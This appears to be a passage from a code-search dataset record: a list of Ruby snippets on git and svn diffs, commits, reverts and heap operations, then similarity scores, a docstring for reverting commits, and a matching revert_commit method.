"def do_diff(base_path, path)\n if base_path.nil?\n # If there's no base path, then the file\n # must have been added\n puts(\"Added: #{path}\")\n name = path\n elsif path.nil?\n # If there's no new path, then the file\n # must have been deleted\n puts(\"Removed: #{base_path}\")\n name = base_path\n else\n # Otherwise, the file must have been modified\n puts \"Modified: #{path}\"\n name = path\n end\n\n # Set up labels for the two files\n base_label = \"#{name} (original)\"\n label = \"#{name} (new)\"\n\n # Output a unified diff between the two files\n puts \"=\" * 78\n differ = Svn::Fs::FileDiff.new(@base_root, base_path, @root, path)\n puts differ.unified(base_label, label)\n puts\n end",
"def convert_rev_to_node(rev)\n %x(git rev-list --reverse HEAD).split(\"\\n\")[rev - 1]\n end",
"def notebook_commit(revtype, notebook, user, message)\n return nil unless GalleryConfig.storage.track_revisions\n if GalleryConfig.storage.database_notebooks\n commit_id = Digest::SHA1.hexdigest(notebook.content + user.user_name + message + notebook.uuid + DateTime.current.to_s)\n notebookFile = NotebookFile.new(save_type: \"revision\", content: notebook.content, uuid: notebook.uuid)\n else\n commit_id = GitRepo.add_and_commit(notebook, message)\n end\n rev = Revision.from_notebook(notebook, revtype, commit_id, user)\n rev.save\n if GalleryConfig.storage.database_notebooks\n notebookFile.revision_id = rev.id\n notebookFile.save\n end\n commit_id\n end",
"def revision(number=nil)\n return nil if number.nil? || @user.nil? || @repo.nil?\n info = execute( \"commit/#{number}\" )\n return nil unless info\n YAML.load(info)['commit'] rescue nil\n end",
"def commit_sha\n nil\n end",
"def undo_update_link(record = nil, link_text = 'Undo')\n if record.respond_to?(:versions)\n view_context.link_to(link_text,\n url_for_event(:revert, :id => record.versions.scoped.last.id), :method => :post, :remote => true)\n else\n nil\n end\n end",
"def commit(opts = {:use_dirstate => true, :update_dirstate => true})\n valid = false # don't update the DirState if this is set!\n \n commit = ((modified || []) + (added || [])).sort\n remove = removed\n xtra = extra.dup\n branchname = xtra[\"branch\"]\n text = description\n \n p1, p2 = parents.map {|p| p.node }\n c1 = repo.changelog.read(p1) # 1 parent's changeset as an array\n c2 = repo.changelog.read(p2) # 2nd parent's changeset as an array\n m1 = repo.manifest.read(c1[0]).dup # 1st parent's manifest\n m2 = repo.manifest.read(c2[0]) # 2nd parent's manifest\n \n if opts[:use_dirstate]\n oldname = c1[5][\"branch\"]\n tests = [ commit.empty?, remove.empty?, !opts[:force],\n p2 == NULL_ID, branchname == oldname ]\n if tests.all?\n UI::status \"nothing changed\"\n return nil\n end\n end\n \n xp1 = p1.hexlify\n xp2 = p2 == NULL_ID ? \"\" : p2.hexlify\n \n Hook.run_hook :pre_commit\n journal = Amp::Mercurial::Journal.new(:opener => repo.store_opener)\n \n fresh = {} # new = reserved haha i don't know why someone wrote \"haha\"\n changed = []\n link_rev = repo.size\n \n (commit + (remove || [])).each {|file| UI::status file }\n \n # foreach file in commit:\n # commit_file file\n # end\n commit.each do |file|\n versioned_file = self[file]\n fresh[file] = versioned_file.commit :manifests => [m1, m2],\n :link_revision => link_rev,\n :journal => journal ,\n :changed => changed\n \n new_flags = versioned_file.flags\n \n # TODO\n # Clean this shit up\n if [ changed.empty? || changed.last != file, \n m2[file] != fresh[file]\n ].all?\n changed << file if m1.flags[file] != new_flags\n end\n m1.flags[file] = new_flags\n \n repo.staging_area.normal file if opts[:use_dirstate]\n end\n \n # add_manifest_entry\n man_entry, updated, added = *add_manifest_entry(:manifests => [m1, m2],\n :changesets => [c1, c2],\n :journal => journal ,\n :link_rev => link_rev,\n :fresh => fresh ,\n :remove => remove ,\n :changed => changed )\n\n # get_commit_text\n text = get_commit_text text, :added => added, :updated => updated,\n :removed => removed, :user => user ,\n :empty_ok => opts[:empty_ok] ,\n :use_dirstate => opts[:use_dirstate]\n \n # atomically write to the changelog\n # add_changelog_entry\n # for the unenlightened, rents = 'rents = parents\n new_rents = add_changelog_entry :manifest_entry => man_entry,\n :files => (changed + removed),\n :text => text,\n :journal => journal,\n :parents => [p1, p2],\n :user => user,\n :date => date,\n :extra => xtra\n \n \n # Write the dirstate if it needs to be updated\n # basically just bring it up to speed\n if opts[:use_dirstate] || opts[:update_dirstate]\n repo.dirstate.parents = new_rents\n removed.each {|f| repo.dirstate.forget(f) } if opts[:use_dirstate]\n repo.staging_area.save\n end\n \n # The journal and dirstates are awesome. Leave them be.\n valid = true\n journal.close\n \n # if an error and we've gotten this far, then the journal is complete\n # and it deserves to stay (if an error is thrown and journal isn't nil,\n # the rescue will destroy it)\n journal = nil\n \n # Run any hooks\n Hook.run_hook :post_commit, :added => added, :modified => updated, :removed => removed, \n :user => user, :date => date, :text => text,\n :revision => repo.changelog.index_size\n return new_rents\n rescue StandardError => e\n if !valid\n repo.dirstate.invalidate!\n end\n if e.kind_of?(AbortError)\n UI::warn \"Abort: #{e}\"\n else\n UI::warn \"Got exception while committing. #{e}\"\n UI::warn e.backtrace.join(\"\\n\")\n end\n \n # the journal is a vestigial and incomplete file.\n # destroyzzzzzzzzzzz\n journal.delete if journal\n end",
"def diff\n @diff ||= begin\n commit.diffs.collect{|diff| diff.diff}.join(\"\\n\")\n end\n end",
"def revert(objects = [], commit = nil)\n unless (commit.nil? or commit.is_a? Grit::Commit) and objects.is_a? Array\n raise ArgumentError\n end\n\n if objects.empty?\n files = ['.']\n else\n objects.reject { |o| o.class.included_modules.include? self }\n files = objects.collect { |o| o.blob_path }\n end\n \n if commit.nil?\n revert_sha = self.repository.commits.first.parents.first.sha\n else commit.is_a? Grit::Commit\n revert_sha = commit.sha\n end\n\n self.repository.checkout revert_sha, files\n\n unless objects.empty?\n objects.each do |o|\n p o\n o = YAML.load_file(o.blob_path)\n p o\n end\n end\n end",
"def heap_down(index)\n left_child_index = index * 2 + 1\n right_child_index = index * 2 + 2\n #check to see if the right child exists\n if @store[right_child_index] != nil\n # Define the min_child\n min_child = @store[right_child_index].key < @store[left_child_index].key ? right_child_index : left_child_index\n # if the min_child less than the parent, swap it and continue heaping down\n if @store[min_child].key < @store[index].key\n swap(min_child, index)\n heap_down(min_child)\n end\n elsif @store[left_child_index] != nil #check to see if the left child exists\n if @store[left_child_index].key < @store[index].key #if the min_child less than the parent, swap it and continue heaping down\n swap(left_child_index, index)\n heap_down(left_child_index)\n end\n end\n \n end",
"def descend(parent, branch)\n ret = parent.child(branch)\n return ret if ret # || !backed? # TODO (backed)\n\n node = fetch_node_nt(parent.child_hash(branch))\n return nil if !node || inconsistent_node?(node)\n\n node = parent.canonicalize_child(branch, node)\n node\n end",
"def update_page(page, name, format, data, commit = {})\n name ||= page.name\n format ||= page.format\n dir = ::File.dirname(page.path)\n dir = nil if dir == '.'\n rename = (page.name != name || page.format != format)\n new_path = ::File.join([dir, self.page_file_name(name, format)].compact) if rename\n\n multi_commit = !!commit[:committer]\n committer = multi_commit ? commit[:committer] : Committer.new(self, commit)\n\n if !rename\n committer.add(page.path, normalize(data))\n else\n committer.delete(page.path)\n committer.add_to_index(new_path, data)\n end\n\n committer.after_commit do |index, _sha|\n @access.refresh\n index.update_working_dir(page.path)\n index.update_working_dir(new_path) if rename\n end\n\n multi_commit ? committer : committer.commit\n end",
"def page_diffs(title)\n title = normalize_title(title)\n list = []\n \n store.commits(100).each do |commit|\n diffs = commit.diffs(\"#{title}.md\")\n list << [commit, diffs] unless diffs.empty?\n end\n\n list\n end",
"def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"def snapshot_diff(left:, right:)\n r = aptly_request('GET', \"api/snapshots/#{left}/diff/#{right}\")\n r.body\n end",
"def remove_page(name, version='master')\n page = wiki.page(name, version)\n File.delete(page_path(name, version)) if !page.nil? && File.exists?(page_path(name, version))\n end",
"def post_revert(filename,commit_id,repo)\n curl_put(\"#{self.host}/api2/repos/#{repo}/file/revert\",{\"commit_id\" => commit_id,\"p\" => filename }).body_str\n end",
"def commit(repo, sha, options = {})\n get \"#{Repository.path repo}/commits/#{sha}\", options\n end",
"def commit!(message, options={})\n now = Time.now\n \n sha = options.delete(:tree) || tree.write_to(self).at(1)\n parents = options.delete(:parents) || (head ? [head] : [])\n author = options[:author] || self.author\n authored_date = options[:authored_date] || now\n committer = options[:committer] || author\n committed_date = options[:committed_date] || now\n\n # commit format:\n #---------------------------------------------------\n # tree sha\n # parent sha\n # author name <email> time_as_int zone_offset\n # committer name <email> time_as_int zone_offset\n # \n # messsage\n # \n #---------------------------------------------------\n # Note there is a trailing newline after the message.\n #\n lines = []\n lines << \"tree #{sha}\"\n parents.each do |parent|\n lines << \"parent #{parent}\"\n end\n lines << \"author #{author.name} <#{author.email}> #{authored_date.strftime(\"%s %z\")}\"\n lines << \"committer #{committer.name} <#{committer.email}> #{committed_date.strftime(\"%s %z\")}\"\n lines << \"\"\n lines << message\n lines << \"\"\n \n @head = set('commit', lines.join(\"\\n\"))\n grit.update_ref(branch, head)\n \n head\n end",
"def revert_sandbox_file_commit\n unless original_committed_file_location\n raise Chef::Exceptions::IllegalChecksumRevert, \"Checksum #{self.inspect} cannot be reverted because the original sandbox file location is not known\"\n end\n\n Chef::Log.warn(\"Reverting sandbox file commit: moving #{@storage} back to #{original_committed_file_location}\")\n @storage.revert(original_committed_file_location)\n cdb_destroy\n end",
"def two_child_delete(node)\n next_highest = find_next_highest(node.right)\n\n # Will two ever be called?\n case number_of_children(next_highest)\n when 0 then zero_child_delete(next_highest)\n when 1 then one_child_delete(next_highest)\n when 2 then two_child_delete(next_highest)\n end\n\n next_highest.left = node.left\n next_highest.right = node.right\n\n if node == @root\n @root = next_highest\n else\n parent, direction = find_parent(node)\n case direction\n when 'left'\n parent.left = next_highest\n when 'right'\n parent.right = next_highest\n end\n end\n node.data\n end",
"def commit_data(sha)\n sha = sha.to_s\n cdata = get_raw_repo.cat_file(revparse(sha))\n process_commit_data(cdata, sha)\n end",
"def rebased_branch\n @rebased_branch ||=\n @args[1] || `git symbolic-ref --short --quiet HEAD`.chomp\n end",
"def get_version_commit\n version = self.peers_version\n if version[\"success\"]\n return version[\"commit\"]\n else\n return nil\n end\n end",
"def changed_files(parent_sha, change_sha, node)\n response = shell_out!(\n \"git diff --name-only #{parent_sha} #{change_sha}\",\n cwd: repo_path(node)\n ).stdout.strip\n\n changed_files = []\n response.each_line do |line|\n changed_files << line.strip\n end\n changed_files\n end",
"def sha commit_message\n cmd = \"git reflog --grep-reflog='commit\"\n cmd += ' (initial)' if commit_message == 'Initial commit'\n cmd += \": #{commit_message.strip}' --format='%H'\"\n result = ''\n %w[developer developer_secondary].each do |user|\n next unless result.empty?\n in_repository(user) { result = output_of cmd }\n end\n result\nend",
"def delete_post_commit\n file_path = @path + '/.git/hooks/post-commit'\n if File.exists? file_path\n File.delete file_path\n end\n end",
"def delete(sha)\n git[sha_path(sha, sha)] = [DEFAULT_MODE, empty_sha]\n self\n end",
"def delete(user_name, repo_name, ref, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n normalize! params\n _validate_presence_of ref\n\n delete_request(\"/repos/#{user}/#{repo}/git/refs/#{ref}\", params)\n end",
"def revise_from_content(base_content, revised_content)\n revisions.build(diffs: generate_diff_hash(base_content, revised_content))\n end",
"def lookup_commit_details(msg)\n rev = msg[:message]\n commit = fetch_svn_commit(rev).first\n messagetext = \"#{commit[:author]} committed revision #{commit[:revision]} \" +\n \"#{time_ago_in_words(commit[:date])} ago:\\n\"\n\n messagetext += \"\\n#{commit[:message]}\\n\"\n messagetext += \"----\\n\"\n commit[:paths].each do |path|\n messagetext += path[:action] + \" \" + path[:path] + \"\\n\"\n end\n\n msg.paste(messagetext)\n\n messagetext = \"More detail can be found at \" + bot.config['svn_webui_url']\n msg.speak(messagetext)\n\n @log.info messagetext\n end",
"def destroy\n @child_dupa2 = ChildDupa2.find(params[:id])\n @child_dupa2.destroy\n\n respond_to do |format|\n format.html { redirect_to(child_dupa2s_url) }\n format.xml { head :ok }\n end\n end",
"def clearbyrev rev #(const rev: int64)\n (size-1).downto(0) do |i|\n delete_at(i) if self[i].rev < rev # удаляем из общей таблицы\n end\n end",
"def heap_down(index)\n left_child = 2 * index + 1\n right_child = 2 * index + 2\n min_child = nil\n\n # Return if there's no left child\n return if left_child > @store.length - 1\n\n # If there's no RIGHT child AND parent is greater than LEFT child...\n # swap parent with left child\n if @store[right_child].nil? && @store[index].key > @store[left_child].key\n swap(index, left_child)\n heap_down(index)\n elsif @store[right_child] #Otherwise, which child is min?\n if @store[right_child].key <= @store[left_child].key\n min_child = @store.index(@store[right_child])\n else\n min_child = @store.index(@store[left_child])\n end\n end\n\n # If parent is greater than minimum child, swap them\n if min_child && @store[index].key > @store[min_child].key\n swap(index, min_child)\n heap_down(index)\n end\n end",
"def delete(path, rev=-1)\n invoke(Request.new(:path => path, :rev => rev, :verb => Request::Verb::DEL))\n nil\n end",
"def find_commit_for_svn_rev(repo_path, svn_rev, base_branch)\n `(cd \"#{repo_path}\" && git rev-list #{base_branch} --grep=\"git-svn-id:.*@#{svn_rev}\")`.strip\n end",
"def revert_file(filename,commit_id,repo=self.repo)\n post_revert(\"#{filename}\",commit_id,repo)\n end",
"def heap_down(parentIndex)\n # compare node @ parentIndex to its children\n # if parent <= both children, min heap :-) base case\n # if parent > either/both child, swap places with the smaller child, then min_heap_down(childIndex), recursion!\n # when no more children to compare to, base case :-)\n \n # first find out if parent has LC or RC\n indexLC = parentIndex * 2 + 1 \n indexRC = indexLC + 1\n \n if @store.length > indexRC\n # both LC & RC exist, need to compare with both children\n if (@store[parentIndex].key > @store[indexLC].key) && (@store[parentIndex].key > @store[indexRC].key)\n # both LC & RC broke the heap property, which one is smaller?\n @store[indexLC].key > @store[indexRC].key ? (indexOfSmallerChild = indexRC) : (indexOfSmallerChild = indexLC)\n swap(parentIndex, indexOfSmallerChild)\n heap_down(indexOfSmallerChild)\n \n elsif @store[parentIndex].key > @store[indexLC].key\n # only LC broke the heap property\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n \n elsif @store[parentIndex].key > @store[indexRC].key\n # only RC broke the heap property\n swap(parentIndex, indexRC)\n heap_down(indexRC)\n \n else \n # both children are bigger than parent -> min heap :-) base case\n return\n end\n \n elsif @store.length > indexLC\n # only LC exists\n if @store[parentIndex].key <= @store[indexLC].key\n # min heap :-) base case\n return \n else\n swap(parentIndex, indexLC)\n heap_down(indexLC)\n end\n \n else\n # no children, base case\n return\n end\n end",
"def line_uri\n branch.commit_uri.chomp(\"commit/$commit\")\n end",
"def get_svn_diff( *targets )\n\ttargets << BASEDIR if targets.empty?\n\ttrace \"Getting svn diff for targets: %p\" % [targets]\n\tlog = IO.read( '|-' ) or exec 'svn', 'diff', *(targets.flatten)\n\n\treturn log\nend",
"def diff\n deprecation_notice!\n downstream = @cisauraus.downstreams(app, 1).first\n verify_downstream! downstream\n\n print_and_flush \"Comparing #{app} to #{downstream}...\"\n\n diff = @cisauraus.diff(app)\n print_and_flush \"done, \"\n\n if diff.size > 0\n display \"#{app} ahead by #{diff.size} #{plural('commit', diff.size)}:\"\n diff.each do |commit|\n commit_detail = `git log -n 1 --pretty=format:\" %h %ad %s (%an)\" --date=short #{commit} 2>/dev/null`\n if $?.exitstatus == 0\n display commit_detail\n else\n display \" #{commit}\"\n end\n end\n else\n display \"everything is up to date\"\n end\n end",
"def diff(a, b, type='A')\n if a == b || b.nil?\n return []\n end\n \n paths = a.nil? ? git.ls_tree(b) : git.diff_tree(a, b)[type]\n paths.collect! do |path|\n ab, xyz, target = path.split('/', 3)\n assoc_sha(\"#{ab}#{xyz}\", target)\n end\n\n paths.compact!\n paths\n end",
"def file_revert(file, ref)\n if file_revisions(file).map { |r| r[:commit] }.include? ref\n file = file.gsub(%r{^/}, '')\n full_path = File.expand_path(file, @root)\n content = File.read(file_revision_at(file, ref))\n File.open(full_path, 'w') { |f| f.puts content }\n end\n end",
"def delete_entry(path, revision, parent_baton)\n # Print out diffs of deleted files, but not\n # deleted directories\n unless @base_root.dir?('/' + path)\n do_diff(path, nil)\n end\n end"
] |
[
"0.6047985",
"0.4921959",
"0.48838034",
"0.46333775",
"0.45735803",
"0.45692304",
"0.44218862",
"0.43746623",
"0.4337324",
"0.432476",
"0.42654553",
"0.41782284",
"0.4123224",
"0.41096488",
"0.4070695",
"0.40164143",
"0.40140742",
"0.40135458",
"0.40110704",
"0.39834735",
"0.39636493",
"0.3962976",
"0.39567906",
"0.39484033",
"0.3926398",
"0.3917201",
"0.39106503",
"0.38971105",
"0.38690478",
"0.38652238",
"0.38561624",
"0.38522926",
"0.38396445",
"0.38362265",
"0.38134018",
"0.37989315",
"0.378518",
"0.3773552",
"0.37721726",
"0.3760537",
"0.37549296",
"0.37492207",
"0.37341806",
"0.37338918",
"0.37328953",
"0.37276617",
"0.372424",
"0.37225592",
"0.37215945",
"0.3718975",
"0.3716074",
"0.37116665",
"0.3711256",
"0.37084427",
"0.3707264",
"0.3705885",
"0.37041485",
"0.36954832",
"0.36922193",
"0.36871248",
"0.36838326",
"0.36825314",
"0.3681237",
"0.3678776",
"0.3666658",
"0.3665051",
"0.3659844",
"0.3657908",
"0.36530644",
"0.3649107",
"0.36456764",
"0.36417052",
"0.36403278",
"0.36334613",
"0.3622274",
"0.3621267",
"0.3620568",
"0.36178428",
"0.36127612",
"0.36097234",
"0.36057788",
"0.36012283",
"0.35992828",
"0.35961974",
"0.35961255",
"0.3595465",
"0.35948166",
"0.35945338",
"0.35937467",
"0.35907605",
"0.35889265",
"0.35789135",
"0.3576684",
"0.35715687",
"0.3565886",
"0.35657114",
"0.35654977",
"0.35634473",
"0.35631052",
"0.35622245"
] |
0.6442151
|
0
|
Public: Applies a reverse diff to the repo. If only 1 SHA is given, the reverse diff will be taken from its parent (^SHA...SHA). If two SHAs are given, the reverse diff is taken from SHA1...SHA2. sha1 String SHA1 of the earlier parent if two SHAs are given, or the child. sha2 Optional String SHA1 of the child. commit The commit Hash details: :message The String commit message. :name The String author full name. :email The String email address. Returns a String SHA1 of the new commit, or nil if the reverse diff does not apply.
|
def revert_commit(sha1, sha2 = nil, commit = {})
left, right, options = parse_revert_options(sha1, sha2, commit)
tree, files = repo.git.revert_commit(left, right)
commit_and_update_paths(tree, files, options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rev_parse(*args)\n return args if args.empty?\n \n sandbox do |git,w,i|\n shas = git.run('', :rev_parse, '', {}, args).split(\"\\n\")\n \n # Grit::Git#run only makes stdout available, not stderr, and so this\n # wonky check relies on the fact that git rev-parse will print the\n # unresolved ref to stdout and quit if it can't succeed. That means\n # the last printout will not look like a sha in the event of an error.\n unless shas.last.to_s =~ SHA\n raise \"could not resolve to a sha: #{shas.last}\"\n end\n \n shas\n end\n end",
"def diff(other_sha1)\n git \"diff #{other_sha1} -- #{@path}\"\n end",
"def commit_diff(project, sha)\n get(\"/projects/#{project}/repository/commits/#{sha}/diff\") \n end",
"def commit!(sha)\n parent_shas = begin\n [gitrepo.head.target]\n rescue Rugged::ReferenceError\n # this is the first commit\n []\n end\n\n authorship = author.merge(:time => Time.now)\n\n sha = Rugged::Commit.create(gitrepo,\n :message => \"\",\n :author => authorship,\n :committer => authorship,\n :parents => parent_shas,\n :tree => sha,\n :update_ref => \"HEAD\"\n )\n\n sha\n end",
"def sha2?; @sha2; end",
"def revert_to(sha_or_wiki)\n wiki =\n if sha_or_wiki.kind_of?(String)\n wiki.history(sha)\n elsif sha_or_wiki.kind_of?(Wiki)\n sha_or_wiki\n else\n raise \"missing input\"\n end\n\n new_data = wiki.raw_data\n updated_wiki = update do |pg|\n pg.data = new_data\n pg.message = \"Revert from #{wiki.ref}\"\n end\n updated_wiki\n end",
"def delta(rev)\n $repo.diff(commit, rev).path(@name).patch\n end",
"def revert_page(page, sha1, sha2 = nil, commit = {})\n return false unless page\n left, right, options = parse_revert_options(sha1, sha2, commit)\n commit_and_update_paths(@repo.git.revert_path(page.path, left, right), [page.path], options)\n end",
"def diff(opts)\n from, to = opts[:from], opts[:to]\n if from && !(Commit === from)\n raise ArgumentError, \"Invalid sha: #{from}\" if from !~ SHA_PATTERN\n from = Reference.new(:repository => self, :id => from)\n end\n if !(Commit === to)\n raise ArgumentError, \"Invalid sha: #{to}\" if to !~ SHA_PATTERN\n to = Reference.new(:repository => self, :id => to)\n end\n Diff.new(from, to, git_diff_tree('--root', '--full-index', '-u',\n opts[:detect_renames] ? '-M' : nil,\n opts[:detect_copies] ? '-C' : nil,\n from ? from.id : nil, to.id, '--', *opts[:path]))\n end",
"def sha\n @commit.sha\n end",
"def rev_parse(name)\n sha = command('rev-parse', ['--revs-only', name])\n return sha.empty? ? nil : sha\n end",
"def pre_change_sha(node)\n branch = node['delivery']['change']['pipeline']\n\n if node['delivery']['change']['stage'] == 'verify'\n shell_out(\n \"git rev-parse origin/#{branch}\",\n cwd: repo_path(node)\n ).stdout.strip\n else\n # This command looks in the git history for the last two merges to our\n # pipeline branch. The most recent will be our SHA so the second to last\n # will be the SHA we are looking for.\n command = \"git log origin/#{branch} --merges --pretty=\\\"%H\\\" -n2 | tail -n1\"\n shell_out(command, cwd: repo_path(node)).stdout.strip\n end\n end",
"def rev_parse(ref)\n commit = git \"rev-parse #{ref}^{commit}\", :path => @full_path\n commit.chomp\n rescue R10K::ExecutionFailure => e\n logger.error \"Could not resolve ref #{ref.inspect} for git repo #{@full_path}\"\n raise\n end",
"def revert!(objects = [], commit = nil)\n revert(objects, commit)\n commit(nil, \"Reverted commit #{self.repository.commits.first.sha}\")\n end",
"def rev_parse(rev)\n git.exec(\"rev-parse\",\"--verify\",rev).chomp\n end",
"def pre_change_sha(node)\n branch = node['delivery']['change']['pipeline']\n\n if node['delivery']['change']['stage'] == 'verify'\n shell_out(\n \"git rev-parse origin/#{branch}\",\n :cwd => node['delivery']['workspace']['repo']\n ).stdout.strip\n else\n # This command looks in the git history for the last two merges to our\n # pipeline branch. The most recent will be our SHA so the second to last\n # will be the SHA we are looking for.\n command = \"git log origin/#{branch} --merges --pretty=\\\"%H\\\" -n2 | tail -n1\"\n shell_out(command, :cwd => node['delivery']['workspace']['repo']).stdout.strip\n end\n end",
"def sha commit_message\n cmd = \"git reflog --grep-reflog='commit\"\n cmd += ' (initial)' if commit_message == 'Initial commit'\n cmd += \": #{commit_message.strip}' --format='%H'\"\n result = ''\n %w[developer developer_secondary].each do |user|\n next unless result.empty?\n in_repository(user) { result = output_of cmd }\n end\n result\nend",
"def diff(objectish = 'HEAD', obj2 = nil)\n Git::Diff.new(self, objectish, obj2)\n end",
"def commit_hash(branch_or_tag = nil)\n git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def resolve_rev(hashish)\n hash = @git.rev_parse({:verify => true}, hashish)\n return nil if $?.exitstatus != 0\n return hash.strip\n end",
"def fetch_commit(repo_user,repo_name,sha)\n uri = URI(API_BASE_URL+ \"/repos/#{repo_user}/#{repo_name}/git/commits/#{sha}\")\n body = response_body(uri)\n if body.key?('message') && body['message'].downcase == \"not found\"\n raise \"Unable to fetch #{uri}\" \n else\n body\n end\n end",
"def find_svn_rev_for_commit(repo_path, commit)\n `(cd \"#{repo_path}\" && git svn find-rev #{commit})`.strip\n end",
"def digest_sha2(*files)\n files.flatten.collect { |file| \n File.exists?(file) ? Digest::SHA2.hexdigest(File.read(file)) : nil\n }\n end",
"def rebased_branch\n @rebased_branch ||=\n @args[1] || `git symbolic-ref --short --quiet HEAD`.chomp\n end",
"def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end",
"def get_svn_diff( *targets )\n\ttargets << BASEDIR if targets.empty?\n\ttrace \"Getting svn diff for targets: %p\" % [targets]\n\tlog = IO.read( '|-' ) or exec 'svn', 'diff', *(targets.flatten)\n\n\treturn log\nend",
"def sha\n @sha ||= ENV['HEROKU_SLUG_COMMIT'] || ENV['GIT_SHA'] || `git rev-parse HEAD`.chomp\n end",
"def commit\n @git = YMDP::GitHelper.new\n @git.do_commit(@message)\n @git_hash = git.get_hash(options[:branch]) \n end",
"def git_commit(repo, sha, options = {})\n get \"#{Repository.path repo}/git/commits/#{sha}\", options\n end",
"def commit(user_name, repo_name, sha, params={})\n _update_user_repo_params(user_name, repo_name)\n _validate_user_repo_params(user, repo) unless user? && repo?\n _validate_presence_of sha\n _normalize_params_keys(params)\n\n get(\"/repos/#{user}/#{repo}/commits/#{sha}\", params)\n end",
"def fetch_revision(commit)\n `git rev-parse #{commit}`.tr(\"\\n\", '')\n end",
"def commit(repo, sha, options = {})\n get \"#{Repository.path repo}/commits/#{sha}\", options\n end",
"def rev_parse # :nodoc:\n hash = nil\n\n Dir.chdir repo_cache_dir do\n hash = Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n\n raise Gem::Exception,\n \"unable to find reference #{@reference} in #{@repository}\" unless\n $?.success?\n\n hash\n end",
"def diff\n @diff ||= begin\n commit.diffs.collect{|diff| diff.diff}.join(\"\\n\")\n end\n end",
"def h2(msg)\n fail ReportError.new self, msg: 'util: can not h2 nil' if msg.nil?\n RbNaCl::Hash.sha256 RbNaCl::Hash.sha256 \"\\0\" * 32 + msg\n end",
"def commit args = {}\n action = :deleted if self.deleted?\n action ||= self.is_new? ? :added : (self.is_changed? ? :updated : :nothing_to_commit) \n args[:skip_part_data] ||= false\n \n unless action.eql?(:nothing_to_commit)\n message = \"#{action} #{name}\"\n message = args[:m] if args[:m] \n if action.eql?(:deleted)\n repo.remove(self.file_name)\n self.history_count += 1\n else\n repo.add(self.file_name)\n end\n\n active_message = self.commit_messages[:most_recent]\n message = \"#{active_message.gsub(message,\"\")}\" unless self.deleted? || active_message.blank? || active_message.eql?(message)\n self.remove_message_from_temp_store(:most_recent) unless active_message.blank?\n \n repo.commit(message)\n self.last_commit = repo.log(self.local_path, :limit => 1).first.to_s\n end\n unless action.eql?(:deleted) \n self.part_count = parts.count\n self.part_count ||= 0 \n update_part_data unless args[:skip_part_data]\n\n self.history_count = self.history.size\n self.history_count = 1 if self.history_count.eql?(0) \n end\n self.save if self.changed?\n \n synchronize unless args[:dont_sync] || self.attributes[\"sync\"].blank? #rather than calling sync.blank? to skip the JSON parsing step.\n return action\n end",
"def sha_hash (arg)\r\n Digest::SHA2.hexdigest(arg)\r\n end",
"def commit_date(sha)\n return unless git_repo? && sha\n Licensed::Shell.execute(\"git\", \"show\", \"-s\", \"-1\", \"--format=%ct\", sha)\n end",
"def review_commit\n if @review_commit.nil?\n @review_commit = GitCommit.new(project.review_repository,\n @sha1)\n end\n @review_commit\n end",
"def commit_hash(branch_or_tag = nil)\n @version = git 'rev-parse', branch_or_tag || 'HEAD'\n end",
"def git_commit\n init_structure\n sha = add_all_changes_to_git\n \n if self.attributes.has_key?(\"version\") \n self.version = sha\n self.connection.update(\"UPDATE #{self.class.table_name} SET version='#{sha}' WHERE id='#{self.id}'\")\n end\n \n return sha\n end",
"def commit_for(ref)\n @access.commit(ref)\n rescue Gollum::Git::NoSuchShaFound\n end",
"def commit(*to_commit)\n checkout unless ::File.exist?(@wc_path)\n to_commit = @revisions if to_commit.empty?\n to_commit = [to_commit] if (!to_commit.respond_to?(:each) || to_commit.kind_of?(String))\n \n to_commit.each do | rev |\n rev = @revisions.find{ |r| r.name == rev } unless rev.kind_of?(Revision)\n rev.commit(self)\n end\n end",
"def commit\n read_repo\n if @branches.count < 1\n render :template => 'repositories/commit'\n return\n end\n\n params[:action] = \"commit\"\n\n blank_hash = \"4b825dc642cb6eb9a060e54bf8d69288fbee4904\"\n @commit = @repository.get_commit(@branch)\n @parent = @commit.parent\n @parent = @repository.get_commit(blank_hash) if @parent == nil\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repository }\n end\n end",
"def fetch_stats_for_commit(sha)\n warn \"get details for repo: #{self.name} sha: #{sha}\"\n \n cache_key = '%s_%s_%s' % [self.parent.github_org, self.name, sha]\n commit_details = simple_cache(cache_key) do\n # Download the full commit details from Github, then remove the patch data to save space\n raw_fetch = self.github.repos.commits.get(self.parent.github_org, self.name, sha)\n raw_fetch.files.each { |file| file.delete('patch') }\n raw_fetch\n end\n \n commit_timestamp = Time.iso8601(commit_details.commit.committer['date']).utc\n warn \"stats: #{commit_details.stats.to_json}\"\n commit_net_lines_added = commit_details.stats.additions - commit_details.stats.deletions\n \n return commit_timestamp, commit_net_lines_added\n end",
"def sha\n Digest::SHA2.new.update(self.source).to_s\n end",
"def commit_data(sha)\n sha = sha.to_s\n cdata = get_raw_repo.cat_file(revparse(sha))\n process_commit_data(cdata, sha)\n end",
"def digest\n Digest::SHA2.new\n end",
"def update!(**args)\n @sha1 = args[:sha1] unless args[:sha1].nil?\n end",
"def diff(v1, v2)\n repos.git.diff(v1, v2, path)\n end",
"def commit_sha\n nil\n end",
"def get_version_commit\n version = self.peers_version\n if version[\"success\"]\n return version[\"commit\"]\n else\n return nil\n end\n end",
"def commit_hash(branch_or_tag = nil)\n version = 'HEAD'\n working_dir do\n version = git 'rev-parse', branch_or_tag || 'HEAD'\n end\n version.strip\n end",
"def git_last_commit(host, git_repo_path)\n sha_regex = /commit (\\w{40})/\n\n return sha_regex.match(git_on(host, 'log', git_repo_path).stdout)[1]\nend",
"def run_git_second_commit\n raise \"Git 2nd commit failed\" unless system(\"set +x; EDITOR=true git commit --amend ChangeLog\")\n end",
"def convert_rev_to_node(rev)\n %x(git rev-list --reverse HEAD).split(\"\\n\")[rev - 1]\n end",
